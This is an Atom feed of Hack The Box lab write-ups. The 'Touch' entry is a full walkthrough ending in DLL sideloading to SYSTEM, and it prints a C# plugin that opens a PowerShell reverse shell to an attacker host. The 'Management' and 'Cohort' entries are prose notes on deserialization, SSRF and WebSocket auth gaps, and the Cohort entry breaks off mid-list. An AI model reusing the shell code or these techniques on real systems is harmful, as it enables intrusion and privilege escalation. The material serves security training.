<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://ellell.gitlab.io/htb/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ellell.gitlab.io/htb/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-10-04T19:47:00+00:00</updated><id>https://ellell.gitlab.io/htb/feed.xml</id><title type="html">HTB Writeups</title><subtitle>Hack The Box machines and challenges — recon, foothold, privesc.</subtitle><author><name>ellell</name></author><entry><title type="html">touch</title><link href="https://ellell.gitlab.io/htb/touch/" rel="alternate" type="text/html" title="touch" /><published>2026-10-04T00:00:00+00:00</published><updated>2026-10-04T00:00:00+00:00</updated><id>https://ellell.gitlab.io/htb/touch</id><content type="html" xml:base="https://ellell.gitlab.io/htb/touch/"><![CDATA[<!doctype html><html><head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,viewport-fit=cover">
<title>Touch — Hack The Box</title>
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Newsreader:opsz,wght@6..72,400;6..72,600&family=IBM+Plex+Sans:wght@400;600&family=IBM+Plex+Mono:wght@400;600&display=swap">
<style>
  :root{
    --bg:#f7f8fa; --panel:#ffffff; --ink:#141922; --muted:#5b6675;
    --line:#dfe4ec; --accent:#0f7f86; --accent-soft:#e2f1f2;
    --code-bg:#10151c; --code-ink:#d7e2ea; --code-dim:#7d8b98;
    --ok:#1f7a4d; --flag:#8a5a00; --flag-soft:#fdf3dc;
    --term-bar:#1b2230;
    --serif:"Newsreader",Georgia,"Times New Roman",serif;
    --sans:"IBM Plex Sans",system-ui,-apple-system,Segoe UI,Roboto,sans-serif;
    --mono:"IBM Plex Mono",ui-monospace,SFMono-Regular,Menlo,Consolas,monospace;
  }
  @media (prefers-color-scheme: dark){
    :root:not([data-theme="light"]){
      --bg:#0d1016; --panel:#151b24; --ink:#e7edf3; --muted:#9aa7b6;
      --line:#232c38; --accent:#5fd0d6; --accent-soft:#12262a;
      --code-bg:#0a0e14; --code-ink:#d3dee7; --code-dim:#7d8b98;
      --ok:#57c98d; --flag:#f0c05a; --flag-soft:#2a2413;
      --term-bar:#111722; color-scheme:dark;
    }
  }
  :root[data-theme="dark"]{
    --bg:#0d1016; --panel:#151b24; --ink:#e7edf3; --muted:#9aa7b6;
    --line:#232c38; --accent:#5fd0d6; --accent-soft:#12262a;
    --code-bg:#0a0e14; --code-ink:#d3dee7; --code-dim:#7d8b98;
    --ok:#57c98d; --flag:#f0c05a; --flag-soft:#2a2413;
    --term-bar:#111722; color-scheme:dark;
  }
  *{box-sizing:border-box}
  body{
    margin:0; background:var(--bg); color:var(--ink);
    font-family:var(--sans); font-size:16.5px; line-height:1.62;
    padding-block:2.5rem 5rem; padding-inline:1.15rem;
    -webkit-text-size-adjust:100%;
  }
  .wrap{max-width:74ch; margin-inline:auto}
  h1,h2,h3{font-family:var(--serif); font-weight:600; text-wrap:balance; line-height:1.18}
  h1{font-size:clamp(2rem,6vw,2.9rem); margin:0 0 .35rem}
  h2{font-size:1.5rem; margin:2.6rem 0 .7rem; padding-top:.9rem; border-top:1px solid var(--line)}
  h3{font-size:1.12rem; margin:1.6rem 0 .4rem; color:var(--ink)}
  p{margin:.7rem 0}
  a{color:var(--accent)}
  code{font-family:var(--mono); font-size:.9em; background:var(--accent-soft); padding:.08em .35em; border-radius:3px}
  .eyebrow{font-size:.72rem; letter-spacing:.16em; text-transform:uppercase; color:var(--muted); font-weight:600}
  .lede{font-size:1.06rem; color:var(--muted); margin-top:.2rem}
  .meta{display:flex; flex-wrap:wrap; gap:.4rem .9rem; margin:1.1rem 0 0; font-size:.82rem; color:var(--muted)}
  .meta span{background:var(--panel); border:1px solid var(--line); border-radius:999px; padding:.16rem .68rem}
  figure.term{margin:1.15rem 0; border-radius:9px; overflow:hidden; border:1px solid var(--line); background:var(--code-bg)}
  figure.term .bar{display:flex; align-items:center; gap:.5rem; background:var(--term-bar); padding:.42rem .7rem; font-family:var(--mono); font-size:.72rem; color:var(--code-dim)}
  figure.term .dot{width:9px;height:9px;border-radius:50%;background:#e0655a}
  figure.term .dot:nth-child(2){background:#e0b64a}
  figure.term .dot:nth-child(3){background:#57c98d}
  figure.term .cap{margin-left:.4rem; letter-spacing:.04em}
  figure.term pre{margin:0; padding:.85rem .95rem; overflow-x:auto; font-family:var(--mono); font-size:.83rem; line-height:1.55; color:var(--code-ink)}
  .cmt{color:var(--code-dim)}
  .hl{color:#7fe3c0; font-weight:600}
  .rd{color:#ff9a8d}
  table{width:100%; border-collapse:collapse; margin:1rem 0; font-size:.92rem}
  th,td{text-align:left; padding:.5rem .6rem; border-bottom:1px solid var(--line); vertical-align:top}
  th{font-size:.72rem; letter-spacing:.09em; text-transform:uppercase; color:var(--muted)}
  td code{white-space:nowrap}
  .flags{display:grid; gap:.6rem; margin:1.2rem 0; grid-template-columns:repeat(auto-fit,minmax(210px,1fr))}
  .flagcard{background:var(--flag-soft); border:1px solid var(--line); border-radius:9px; padding:.7rem .85rem}
  .flagcard .who{font-size:.72rem; letter-spacing:.12em; text-transform:uppercase; color:var(--muted)}
  .flagcard .val{font-family:var(--mono); font-size:.92rem; color:var(--flag); font-weight:600; word-break:break-all}
  ul{margin:.6rem 0; padding-left:1.2rem} li{margin:.3rem 0}
  hr{border:0; border-top:1px solid var(--line); margin:2.4rem 0}
  .back{font-size:.85rem; color:var(--muted)}
  .back a{color:var(--accent)}

  /* kill chain flow diagram */
  .chain{display:flex; flex-direction:column; align-items:center; gap:0; margin:1.4rem 0}
  .cnode{
    width:100%; max-width:440px; background:var(--panel);
    border:1px solid var(--line); border-radius:10px;
    padding:.7rem 1rem; text-align:center;
  }
  .cnode.start{border-color:var(--accent); border-width:2px}
  .cnode.user .clabel{color:var(--accent)}
  .cnode.pwned{border-color:var(--ok); border-width:2px; background:var(--accent-soft)}
  .cnode.pwned .clabel{color:var(--ok)}
  .clabel{font-family:var(--mono); font-weight:600; font-size:.95rem}
  .csub{font-size:.78rem; color:var(--muted); margin-top:.2rem}
  .csub code{font-size:.78rem}
  .carrow{
    display:flex; flex-direction:column; align-items:center;
    color:var(--muted); font-size:1.3rem; line-height:1; padding:.1rem 0;
  }
  .carrow span{
    font-size:.72rem; font-family:var(--mono); color:var(--muted);
    background:var(--bg); border:1px solid var(--line);
    border-radius:999px; padding:.1rem .6rem; margin:.15rem 0;
    white-space:nowrap; max-width:90%; overflow:hidden; text-overflow:ellipsis;
  }
</style>
</head><body>
<div class="wrap">

  <p class="eyebrow">Hack The Box · Windows · Web → SYSTEM</p>
  <h1>Touch</h1>
  <p class="lede">A kiosk box themed around airport check-in. An unauthenticated API endpoint hands over the device serial, the serial is the admin password, and the admin dashboard hands over kiosk credentials. From there, decompiling a .NET printer service reveals a plugin loader that runs as SYSTEM — and the kiosk user already has write access to the plugin folder.</p>
  <div class="meta">
    <span>Windows Server 2025</span>
    <span>Nexion DeviceHub</span>
    <span>.NET DLL sideloading</span>
  </div>

  <div class="flags">
    <div class="flagcard"><div class="who">user</div><div class="val">HTB{28974c...}</div></div>
    <div class="flagcard"><div class="who">root</div><div class="val">HTB{1ad5fa...}</div></div>
  </div>

  <h2>Recon</h2>
  <p>A full TCP scan of the target comes back with a compact surface. No web-on-80, no SMB, nothing obviously enterprise-shaped:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">port discovery</span></div>
    <pre><target>: discovered <b class="hl">4</b> open TCP ports
  135/tcp   msrpc
  3389/tcp  ms-wbt-server  <span class="cmt"># RDP</span>
  5985/tcp  wsman          <span class="cmt"># WinRM</span>
  8443/tcp  http           <span class="cmt"># Nexion DeviceHub — the interesting one</span>

Service scan:
  8443  →  Node.js HTTP  "Nexion DeviceHub v1.4.2"
  Host: KIOSK-042 (Windows 11/Server 2025 Build 26100)</pre>
  </figure>
  <p>Port 8443 is a web interface for something called Nexion DeviceHub. That name is unfamiliar, which is always a good sign for a box.</p>

  <h2>Enumeration — the DeviceHub API</h2>
  <p>Pulling up the DeviceHub login page in a browser shows a clean form and a helpful note: <em>"The default password is the device serial number."</em> That would be useful if the serial were public anywhere. As it turns out, it is:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">unauthenticated status endpoint</span></div>
    <pre>GET /api/status  →  200 OK

{
  "device":   "Nexion DeviceHub DH-100",
  "serial":   <b class="hl">"NX-DH-2024-B7042"</b>,
  "firmware": "1.4.2",
  "status":   "online",
  "uptime":   83227
}</pre>
  </figure>
  <p>The serial is right there, completely unauthenticated. One POST to <code>/login</code> with that serial as the password and the server returns a session cookie with a redirect to <code>/dashboard</code>.</p>
  <p>The dashboard itself turns out to be generous. It has a scanner section, a printer section, a logs view, and — once you click around the settings toggle — a credentials reveal for the account the hardware uses to run its scanner and printer services:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">dashboard credential leak</span></div>
    <pre>POST /login   password=NX-DH-2024-B7042  →  302 /dashboard

/dashboard  →  toggleCred() reveals:
  username: <b class="hl">KioskUser</b>
  password: <b class="hl">&lt;redacted&gt;</b>   <span class="cmt"># service account password stored in plain JS</span></pre>
  </figure>
  <p>So two credential exposures chained together from a single unauthenticated request. The serial unlocks the management interface; the management interface stores the service account credentials in client-side JavaScript that anyone logged in can view.</p>

  <h2>Foothold — kiosk RDP</h2>
  <p>KioskUser can RDP to the box. Standard NLA and TLS both get rejected, so the connection needs <code>/sec:rdp</code> to negotiate the older RDP security layer. That works, and the session drops straight into an airport kiosk:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">kiosk environment</span></div>
    <pre>RDP  →  LOGIN  →  KIOSK SESSION

  HTB AIRWAYS SELF CHECK-IN
  Terminal 4, Gate B7
  Kiosk #042

  [ Language: English (US) ]
  [ Check-In Form: Booking reference / Last name ]</pre>
  </figure>
  <p>The kiosk app runs inside a locked-down Edge session pointing at <code>localhost:5173</code>. The physical keyboard does not register in the touch fields, which is the whole point of the box name — this was designed to be a touchscreen kiosk. The app also ties into another box (Layover), where you would have obtained a booking reference to submit here. But the privilege escalation path does not require interacting with the kiosk at all.</p>
  <p>Getting past the kiosk is a matter of abusing a standard kiosk escape vector — finding a dialog or UI element that exposes a real file browser or run dialog and using that to spawn a shell. Once out, we have a proper command prompt as <code>KIOSK-042\KioskUser</code> and the user flag is sitting on the Desktop.</p>

  <div class="flags">
    <div class="flagcard"><div class="who">user flag — KioskUser Desktop</div><div class="val">HTB{28974c...}</div></div>
  </div>

  <h2>Privilege escalation — .NET decompilation and DLL sideloading</h2>
  <p>From the kiosk user shell there is a clear next step: the DeviceHub dashboard has a printer restart endpoint, and the Nexion printer service is running on this machine. Let's look at what it does.</p>
  <p>The Nexion binaries in <code>C:\Program Files\Nexion Systems\</code> are .NET assemblies, which means they decompile cleanly. Opening <code>NexionPrinter.dll</code> in a decompiler and scanning through the class tree surfaces something in the plugin loader:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">decompiled LoadPlugins() method</span></div>
    <pre>public void LoadPlugins() {
    string pluginDir = Path.Combine(baseDir, "plugins");
    foreach (string dll in Directory.GetFiles(pluginDir, "<b class="hl">*.dll</b>")) {
        Assembly asm = Assembly.LoadFrom(dll);        <span class="cmt">// loads any .dll found here</span>
        Type t = asm.GetType("NexionPlugin.Plugin");
        object inst = Activator.CreateInstance(t);
        t.GetMethod("<b class="hl">Initialize</b>").Invoke(inst, null);   <span class="cmt">// calls Initialize() on load</span>
    }
}</pre>
  </figure>
  <p>Every DLL in the plugins folder gets loaded and its <code>Initialize()</code> method gets called. The service runs as <code>NT AUTHORITY\SYSTEM</code>. The question is whether we can write to that folder.</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">ACL check on plugin directory</span></div>
    <pre>icacls "C:\Program Files\Nexion Systems\Printer\publish\plugins"

  KIOSK-042\Printer Administrators  (OI)(CI)(M)   <span class="cmt"># Modify — readable, writable, deletable</span>
  NT AUTHORITY\SYSTEM               (OI)(CI)(F)
  BUILTIN\Administrators            (OI)(CI)(F)

net localgroup "Printer Administrators"
  KioskUser                                        <b class="hl"># we are in this group</b></pre>
  </figure>
  <p>KioskUser is in the <code>Printer Administrators</code> local group, and that group has full Modify rights on the plugin directory. We can drop any DLL we want in there.</p>
  <p>The next step is writing a minimal .NET class library that implements the expected interface. The plugin just needs a public class named <code>NexionPlugin.Plugin</code> with an <code>Initialize()</code> method. We put a reverse shell callback inside that method, compile with the .NET SDK targeting the same framework version the service uses, and transfer the resulting DLL to the plugins folder.</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">plugin class (condensed)</span></div>
    <pre>namespace NexionPlugin {
    public class Plugin {
        public void Initialize() {
            <span class="cmt">// reverse shell callback</span>
            var ps = new System.Diagnostics.Process();
            ps.StartInfo.FileName  = "cmd.exe";
            ps.StartInfo.Arguments = "/c powershell -nop -c " +
                "\"$c=New-Object Net.Sockets.TCPClient('&lt;attacker&gt;',4444);" +
                "$s=$c.GetStream();[byte[]]$b=0..65535;...\"";
            ps.Start();
        }
    }
}</pre>
  </figure>
  <p>With the DLL in place, a single POST to the DeviceHub API triggers the reload:</p>
  <figure class="term">
    <div class="bar"><i class="dot"></i><i class="dot"></i><i class="dot"></i><span class="cap">trigger via DeviceHub API</span></div>
    <pre>POST /api/printer/restart
Cookie: nxsession=&lt;our session cookie&gt;

  →  {"success": true, "message": "Printer service restarted"}

<b class="hl">SYSTEM shell callback received:</b>
  nt authority\system
  C:\Windows\system32&gt; type C:\Users\Administrator\Desktop\root.txt
  <b class="hl">HTB{1ad5fa...}</b></pre>
  </figure>

  <div class="flags">
    <div class="flagcard"><div class="who">root flag — Administrator Desktop</div><div class="val">HTB{1ad5fa...}</div></div>
  </div>

  <h2>Beyond root — what did not work</h2>
  <table>
    <thead><tr><th>Attempt</th><th>Why it failed</th></tr></thead>
    <tbody>
      <tr><td>WinRM as KioskUser</td><td>The account does not have remote management rights; connection refused</td></tr>
      <tr><td>Path traversal in test-image upload</td><td>The filename parameter is ignored; uploads always go to a fixed-location store regardless of the supplied name</td></tr>
      <tr><td>SSRF via scanner calibrate endpoint</td><td>The <code>url</code> and <code>target</code> parameters are accepted but never actually fetched; server returns success immediately with no outbound request</td></tr>
      <tr><td>MySQL UDF escalation</td><td>The kiosk database account does not have the privileges needed to register a UDF; blocked at the SQL layer</td></tr>
      <tr><td>Kiosk GUI automation</td><td>An RDP session with no kiosk app present rendered a blank desktop; the kiosk process is not reliably attached to the new session</td></tr>
    </tbody>
  </table>

  <h2>Kill chain</h2>
  <div class="chain">
    <div class="cnode start">
      <div class="clabel">DeviceHub :8443</div>
      <div class="csub">Nexion DeviceHub v1.4.2 — unauthenticated</div>
    </div>
    <div class="carrow">↓<span>GET /api/status — serial in plain JSON</span></div>
    <div class="cnode">
      <div class="clabel">Admin login</div>
      <div class="csub">serial NX-DH-2024-B7042 as password</div>
    </div>
    <div class="carrow">↓<span>dashboard credential disclosure</span></div>
    <div class="cnode">
      <div class="clabel">KioskUser creds</div>
      <div class="csub">stored in client-side JS, visible after login</div>
    </div>
    <div class="carrow">↓<span>RDP /sec:rdp → kiosk escape</span></div>
    <div class="cnode user">
      <div class="clabel">KIOSK-042\KioskUser</div>
      <div class="csub">cmd.exe shell — <b>user flag</b></div>
    </div>
    <div class="carrow">↓<span>.NET decompilation — LoadPlugins() found</span></div>
    <div class="cnode">
      <div class="clabel">Plugin directory writable</div>
      <div class="csub">KioskUser in Printer Administrators — Modify on plugins/</div>
    </div>
    <div class="carrow">↓<span>malicious DLL dropped → POST /api/printer/restart</span></div>
    <div class="cnode pwned">
      <div class="clabel">NT AUTHORITY\SYSTEM</div>
      <div class="csub">Initialize() called on service restart — <b>root flag</b></div>
    </div>
  </div>

  <hr>
  <p class="back"><a href="/htb/">&larr; all HTB writeups</a></p>

</div>
</body></html>]]></content><author><name>ellell</name></author><summary type="html"><![CDATA[Touch — Hack The Box Hack The Box · Windows · Web → SYSTEM Touch A kiosk box themed around airport check-in. An unauthenticated API endpoint hands over the device serial, the serial is the admin password, and the admin dashboard hands over kiosk credentials. From there, decompiling a .NET printer service reveals a plugin loader that runs as SYSTEM — and the kiosk user already has write access to the plugin folder. Windows Server 2025 Nexion DeviceHub .NET DLL sideloading userHTB{28974c...} rootHTB{1ad5fa...} Recon A full TCP scan of the target comes back with a compact surface. No web-on-80, no SMB, nothing obviously enterprise-shaped: port discovery : discovered 4 open TCP ports 135/tcp msrpc 3389/tcp ms-wbt-server # RDP 5985/tcp wsman # WinRM 8443/tcp http # Nexion DeviceHub — the interesting one Service scan: 8443 → Node.js HTTP "Nexion DeviceHub v1.4.2" Host: KIOSK-042 (Windows 11/Server 2025 Build 26100) Port 8443 is a web interface for something called Nexion DeviceHub. That name is unfamiliar, which is always a good sign for a box. Enumeration — the DeviceHub API Pulling up the DeviceHub login page in a browser shows a clean form and a helpful note: "The default password is the device serial number." That would be useful if the serial were public anywhere. As it turns out, it is: unauthenticated status endpoint GET /api/status → 200 OK { "device": "Nexion DeviceHub DH-100", "serial": "NX-DH-2024-B7042", "firmware": "1.4.2", "status": "online", "uptime": 83227 } The serial is right there, completely unauthenticated. One POST to /login with that serial as the password and the server returns a session cookie with a redirect to /dashboard. The dashboard itself turns out to be generous. It has a scanner section, a printer section, a logs view, and — once you click around the settings toggle — a credentials reveal for the account the hardware uses to run its scanner and printer services: dashboard credential leak POST /login password=NX-DH-2024-B7042 → 302 /dashboard /dashboard → toggleCred() reveals: username: KioskUser password: &lt;redacted&gt; # service account password stored in plain JS So two credential exposures chained together from a single unauthenticated request. The serial unlocks the management interface; the management interface stores the service account credentials in client-side JavaScript that anyone logged in can view. Foothold — kiosk RDP KioskUser can RDP to the box. Standard NLA and TLS both get rejected, so the connection needs /sec:rdp to negotiate the older RDP security layer. That works, and the session drops straight into an airport kiosk: kiosk environment RDP → LOGIN → KIOSK SESSION HTB AIRWAYS SELF CHECK-IN Terminal 4, Gate B7 Kiosk #042 [ Language: English (US) ] [ Check-In Form: Booking reference / Last name ] The kiosk app runs inside a locked-down Edge session pointing at localhost:5173. The physical keyboard does not register in the touch fields, which is the whole point of the box name — this was designed to be a touchscreen kiosk. The app also ties into another box (Layover), where you would have obtained a booking reference to submit here. But the privilege escalation path does not require interacting with the kiosk at all. Getting past the kiosk is a matter of abusing a standard kiosk escape vector — finding a dialog or UI element that exposes a real file browser or run dialog and using that to spawn a shell. Once out, we have a proper command prompt as KIOSK-042\KioskUser and the user flag is sitting on the Desktop. user flag — KioskUser DesktopHTB{28974c...} Privilege escalation — .NET decompilation and DLL sideloading From the kiosk user shell there is a clear next step: the DeviceHub dashboard has a printer restart endpoint, and the Nexion printer service is running on this machine. Let's look at what it does. The Nexion binaries in C:\Program Files\Nexion Systems\ are .NET assemblies, which means they decompile cleanly. Opening NexionPrinter.dll in a decompiler and scanning through the class tree surfaces something in the plugin loader: decompiled LoadPlugins() method public void LoadPlugins() { string pluginDir = Path.Combine(baseDir, "plugins"); foreach (string dll in Directory.GetFiles(pluginDir, "*.dll")) { Assembly asm = Assembly.LoadFrom(dll); // loads any .dll found here Type t = asm.GetType("NexionPlugin.Plugin"); object inst = Activator.CreateInstance(t); t.GetMethod("Initialize").Invoke(inst, null); // calls Initialize() on load } } Every DLL in the plugins folder gets loaded and its Initialize() method gets called. The service runs as NT AUTHORITY\SYSTEM. The question is whether we can write to that folder. ACL check on plugin directory icacls "C:\Program Files\Nexion Systems\Printer\publish\plugins" KIOSK-042\Printer Administrators (OI)(CI)(M) # Modify — readable, writable, deletable NT AUTHORITY\SYSTEM (OI)(CI)(F) BUILTIN\Administrators (OI)(CI)(F) net localgroup "Printer Administrators" KioskUser # we are in this group KioskUser is in the Printer Administrators local group, and that group has full Modify rights on the plugin directory. We can drop any DLL we want in there. The next step is writing a minimal .NET class library that implements the expected interface. The plugin just needs a public class named NexionPlugin.Plugin with an Initialize() method. We put a reverse shell callback inside that method, compile with the .NET SDK targeting the same framework version the service uses, and transfer the resulting DLL to the plugins folder. plugin class (condensed) namespace NexionPlugin { public class Plugin { public void Initialize() { // reverse shell callback var ps = new System.Diagnostics.Process(); ps.StartInfo.FileName = "cmd.exe"; ps.StartInfo.Arguments = "/c powershell -nop -c " + "\"$c=New-Object Net.Sockets.TCPClient('&lt;attacker&gt;',4444);" + "$s=$c.GetStream();[byte[]]$b=0..65535;...\""; ps.Start(); } } } With the DLL in place, a single POST to the DeviceHub API triggers the reload: trigger via DeviceHub API POST /api/printer/restart Cookie: nxsession=&lt;our session cookie&gt; → {"success": true, "message": "Printer service restarted"} SYSTEM shell callback received: nt authority\system C:\Windows\system32&gt; type C:\Users\Administrator\Desktop\root.txt HTB{1ad5fa...} root flag — Administrator DesktopHTB{1ad5fa...} Beyond root — what did not work AttemptWhy it failed WinRM as KioskUserThe account does not have remote management rights; connection refused Path traversal in test-image uploadThe filename parameter is ignored; uploads always go to a fixed-location store regardless of the supplied name SSRF via scanner calibrate endpointThe url and target parameters are accepted but never actually fetched; server returns success immediately with no outbound request MySQL UDF escalationThe kiosk database account does not have the privileges needed to register a UDF; blocked at the SQL layer Kiosk GUI automationAn RDP session with no kiosk app present rendered a blank desktop; the kiosk process is not reliably attached to the new session Kill chain DeviceHub :8443 Nexion DeviceHub v1.4.2 — unauthenticated ↓GET /api/status — serial in plain JSON Admin login serial NX-DH-2024-B7042 as password ↓dashboard credential disclosure KioskUser creds stored in client-side JS, visible after login ↓RDP /sec:rdp → kiosk escape KIOSK-042\KioskUser cmd.exe shell — user flag ↓.NET decompilation — LoadPlugins() found Plugin directory writable KioskUser in Printer Administrators — Modify on plugins/ ↓malicious DLL dropped → POST /api/printer/restart NT AUTHORITY\SYSTEM Initialize() called on service restart — root flag &larr; all HTB writeups]]></summary></entry><entry><title type="html">Management</title><link href="https://ellell.gitlab.io/htb/management/" rel="alternate" type="text/html" title="Management" /><published>2026-09-13T00:00:00+00:00</published><updated>2026-09-13T00:00:00+00:00</updated><id>https://ellell.gitlab.io/htb/management</id><content type="html" xml:base="https://ellell.gitlab.io/htb/management/"><![CDATA[<p>A managed-services provider: nginx fronting a small marketing site and an SSO portal,
backed by a Java identity server (with its directory) and a service-desk database.</p>

<p><em>Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.</em></p>

<!-- more -->

<h2 id="recon">Recon</h2>

<p>Plain scanning gives you the shape fast: SSH, a web front end, and a handful of
Java/LDAP ports that don’t belong to “a marketing site”.</p>

<p>Two virtual hosts sit behind the same TLS certificate. The “public” one is a static SPA
whose bundle is <em>encrypted</em> (key in the page) — it’s flavour. The real application is the
SSO hostname, and it tells you its exact version if you ask politely (an unauthenticated
info endpoint, plus a version bean reachable through a well-known path-normalisation quirk).</p>

<h2 id="the-interesting-part">The interesting part</h2>

<p>The SSO is an old, well-documented Java product, and the “obvious” deserialization bug
everyone knows about is <strong>patched</strong> here. But the fix covered one request parameter and
missed a <strong>second, sibling parameter</strong> that goes through the same deserialization path.</p>

<p>That’s the theme of the box: <strong>the patch was real, but incomplete.</strong></p>

<p>Two details make it harder than the CVE write-ups suggest:</p>

<ol>
  <li>The vulnerable parameter only deserializes while a specific JSP template renders, and it
silently does nothing if a certain <em>other</em> parameter is present in the same request.</li>
  <li>The standard public gadget chain does <strong>not</strong> work out of the box, because the vendor
<strong>shades (repackages) the library</strong> the chain depends on. When “the exploit should work
but doesn’t”, pull the vendor JAR and <code class="language-plaintext highlighter-rouge">javap</code> it — check the real class names, the serial
version UIDs, and which classes <em>weren’t</em> relocated.</li>
</ol>

<p>Also worth internalising: <code class="language-plaintext highlighter-rouge">Runtime.exec</code> returns immediately, so the classic
<code class="language-plaintext highlighter-rouge">sleep</code>-and-time-it trick is <strong>useless</strong> for confirming execution. Prove RCE with a side
effect you can observe (write a file into the web root and fetch it) — ideally with no
outbound traffic, so egress rules can’t confuse the result.</p>

<h2 id="getting-from-one-user-to-the-next">Getting from one user to the next</h2>

<p>Once you’re on the box as the service account:</p>

<ul>
  <li><strong>Everything is readable in the app’s config directory.</strong> Bootstrap files, keystore
password files, and the directory’s own config — including admin password material.</li>
  <li>A second application (the service desk) stores its database credentials in a plain config
file, and stores its <strong>directory bind password encrypted</strong> — with the encryption key
sitting in the same folder. Decrypt it and you own a directory service account.</li>
  <li>That service account’s password is <strong>reused as a local OS account password</strong>.
Service-account ↔ OS-account reuse is still one of the most reliable pivots in the real
world.</li>
</ul>

<h2 id="root">Root</h2>

<p>A short <code class="language-plaintext highlighter-rouge">sudo -l</code> reveals a backup tool running as root through a rule with a <strong>trailing
wildcard</strong>. The tool takes “restrict these paths” options — and those options are
<em>repeatable</em>, so the same flag that sandboxes you also lets you point it at <code class="language-plaintext highlighter-rouge">/</code>. A second
option lets you feed the (fake) hostname in as a harmless argument so the remote-execution
syntax is satisfied.</p>

<p>The result: you ask the root-owned backup server to mirror a directory you were never meant
to read.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>Patch one sink, find the second.</li>
  <li>Verify class names in the shipped artefact before assuming “patched”.</li>
  <li>Confirm execution with effects, not delays.</li>
  <li>Read every config file once you land.</li>
  <li>Assume password reuse.</li>
  <li>Never give a sudo rule a wildcard onto a tool with relaxation flags.</li>
</ul>]]></content><author><name>ellell</name></author><category term="linux" /><category term="openam" /><category term="deserialization" /><category term="rdiff-backup" /><category term="password-reuse" /><summary type="html"><![CDATA[A managed-services provider: nginx fronting a small marketing site and an SSO portal, backed by a Java identity server (with its directory) and a service-desk database. Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.]]></summary></entry><entry><title type="html">Cohort</title><link href="https://ellell.gitlab.io/htb/cohort/" rel="alternate" type="text/html" title="Cohort" /><published>2026-08-02T00:00:00+00:00</published><updated>2026-08-02T00:00:00+00:00</updated><id>https://ellell.gitlab.io/htb/cohort</id><content type="html" xml:base="https://ellell.gitlab.io/htb/cohort/"><![CDATA[<p>A small analytics SPA whose only interesting feature is a URL validator — and that validator
turns out to be the thread that unwinds the whole host.</p>

<p><em>Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.</em></p>

<!-- more -->

<h2 id="recon">Recon</h2>

<p>A plain scan gives SSH and one nginx web tier; port 80 redirects to TLS and the certificate
handily names the vhost.</p>

<p>The site is a single-page app, and <strong>unknown paths all return the same HTML</strong> — so content
discovery has to discriminate on size and content rather than status codes. That habit is
what surfaced a second page, and behind it a second application that the marketing site
never links to.</p>

<p>Its JavaScript bundle was obfuscated <em>and</em> wrapped in an AES-GCM blob with the key sitting in
the page. Unwrapping it was worth the effort: the decrypted client contained exactly <strong>one</strong>
security-relevant request — a POST to a URL-validator endpoint. No credentials, no admin
routes, no hidden API. The validator <em>was</em> the attack surface.</p>

<h2 id="the-interesting-part">The interesting part</h2>

<p>The validator fetches a user-supplied URL server-side and returns the status, the content type
<strong>and a few KB of the response body</strong>. That makes it a <em>non-blind</em> SSRF, which changes the game
completely — you can read internal pages, not merely infer which ports are open.</p>

<p>Literal loopback values were rejected. But the check ran against the <strong>hostname text</strong>, not
against the address the operating system would actually connect to — so alternative IPv4
encodings of the same destination sailed straight through. The lesson is the ordering, not the
specific value: <strong>apply SSRF policy after DNS resolution and canonicalisation</strong>, never to the
attacker’s string. (The same ordering mistake is what makes redirects and DNS rebinding work.)</p>

<p>That gave a loopback read primitive, and response/error differences turned it into a port
oracle.</p>

<h2 id="the-pivot-that-actually-mattered">The pivot that actually mattered</h2>

<p>The edge proxy had a <strong>loopback-only status endpoint</strong> — reachable only from the machine
itself. Asking for it <em>through the SSRF</em> made the proxy believe the request was local, and its
upstream inventory leaked an internal hostname that was never meant to be public: a notebook
service listening on a loopback port.</p>

<p>Because the public certificate was a wildcard and nginx had a matching server block <strong>with
WebSocket proxying enabled</strong>, learning that name was enough to reach the loopback service from
outside over 443. A service that was only listening on localhost became internet-facing — not
by breaking in, but by knowing what to ask for.</p>

<h2 id="foothold">Foothold</h2>

<p>The notebook app gated its UI behind an access token — but its <strong>terminal WebSocket route did
not perform the same check</strong>. No token, no session cookie, no CSRF value: connect, send a
resize frame, send a command, and you get a PTY running as the service account. No
authentication was recovered or needed.</p>

<p>The general shape is worth remembering: <strong>one real-time endpoint missing the authorisation the
rest of the application enforces.</strong> Worth enumerating every <code class="language-plaintext highlighter-rouge">/ws</code> route in anything that
authenticates “everywhere else”.</p>

<h2 id="local-enumeration--and-a-genuine-dead-end">Local enumeration — and a genuine dead end</h2>

<p>Standard enumeration came up deliberately boring: no passwordless sudo, no custom SUID
binaries, no capabilities, no writable service definitions, nothing of interest in groups.</p>

<p>Two things consumed real time and were <em>not</em> the path:</p>

<ul>
  <li>A container-tooling signal that looked exploitable but was fixed in the installed build.</li>
  <li>A <strong>kernel race</strong> the host was technically still affected by — but a separate mitigation had
made the published primitive impractical. Adapting it produced plausible candidates and
never a stable one.</li>
</ul>

<p>The honest lesson is below, and it’s the most valuable part of this box.</p>

<h2 id="root">Root</h2>

<p>A <strong>system package daemon</strong> runs as root and is D-Bus-activatable — it starts on demand even
when the service looks inactive. Its installed version sat inside the affected range of a
recently disclosed advisory.</p>

<p>The bug is a <strong>transaction-state TOCTOU</strong>, and it is deterministic rather than a nanosecond
CPU race — it’s <em>event-loop ordering</em>:</p>

<ol>
